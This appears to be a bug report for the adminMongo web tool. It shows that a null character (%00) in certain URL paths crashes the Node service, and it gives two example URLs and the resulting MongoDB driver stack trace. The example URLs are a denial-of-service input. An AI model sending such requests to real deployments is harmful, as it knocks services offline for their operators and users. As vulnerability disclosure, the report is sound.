Bug, deny of service with null char in url

[Brainless43]

You can stop npm service with null char %00 in url :

http://[URL]:1234/app/Local/[BDD]/%00/view/1

http://[URL]:1234/app/Local/%00

Error in utlis.js :

/opt/adminMongo/node_modules/mongodb/lib/utils.js:123
    process.nextTick(function() { throw err; });

Error: namespace cannot contain a null character
    at new Query (/opt/adminMongo/node_modules/mongodb-core/lib/connection/commands.js:41:11)
    at setupCommand (/opt/adminMongo/node_modules/mongodb-core/lib/wireprotocol/3_2_support.js:536:15)
    at WireProtocol.command (/opt/adminMongo/node_modules/mongodb-core/lib/wireprotocol/3_2_support.js:259:12)
    at Server.command (/opt/adminMongo/node_modules/mongodb-core/lib/topologies/server.js:519:40)
    at Server.command (/opt/adminMongo/node_modules/mongodb/lib/server.js:383:17)
    at executeCommand (/opt/adminMongo/node_modules/mongodb/lib/db.js:313:19)
    at Db.command (/opt/adminMongo/node_modules/mongodb/lib/db.js:337:44)
    at /opt/adminMongo/routes/index.js:183:22
    at /opt/adminMongo/routes/common.js:232:13
    at handleCallback (/opt/adminMongo/node_modules/mongodb/lib/utils.js:120:56)